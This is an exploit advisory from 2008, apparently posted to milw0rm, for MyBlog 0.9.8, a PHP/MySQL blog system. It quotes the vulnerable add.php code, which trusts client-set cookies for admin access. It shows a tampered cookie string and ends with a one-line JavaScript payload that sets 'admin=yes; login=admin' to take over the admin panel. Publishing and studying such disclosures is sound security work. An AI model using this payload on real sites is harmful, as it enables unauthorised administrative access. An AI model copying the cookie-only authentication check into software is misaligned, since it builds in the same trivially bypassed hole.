48 lines
No EOL
1.2 KiB
Text
48 lines
No EOL
1.2 KiB
Text
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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MyBlog <= 0.9.8: PHP and MySQL Blog/CMS software / Cookie poisioning
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-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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$ Program: MyBlog
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$ File affected: all /admin/*.php files
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$ Version: 0.9.8
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$ Download: http://sourceforge.net/projects/myblog/
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Found by Pepelux <pepelux[at]enye-sec.org>
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eNYe-Sec - www.enye-sec.org
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MyBlog is an open source Blog/CMS project. It allows begginers to have a
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simple to use blog/cms and it will still please developers with feature
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packed system with plugins, themes and modules.
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You can alter cookies to get admin privileges.
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Code of add.php:
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<?php
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if(isset($_COOKIE['admin']) OR isset($_COOKIE['post'])) {
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$name = $_COOKIE['login'];
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}
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else {
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echo "Please Login";
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exit;
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}
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?>
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If you try to enter http://blog/admin you obtain: 'Please Login' and the cookie
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is some likes that:
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login=Pepelux; fontSize=80; PHPSESSID=913e40ece8c45da4e1ad5c6c44327926
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But if you change the cookie and put, for example:
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admin=yes; login=admin; fontSize=80; PHPSESSID=913e40ece8c45da4e1ad5c6c44327926
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Then you obtain complete access to the admin panel.
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Exploit:
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javascript:document.cookie = "admin=yes; login=admin";
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# milw0rm.com [2008-09-22] |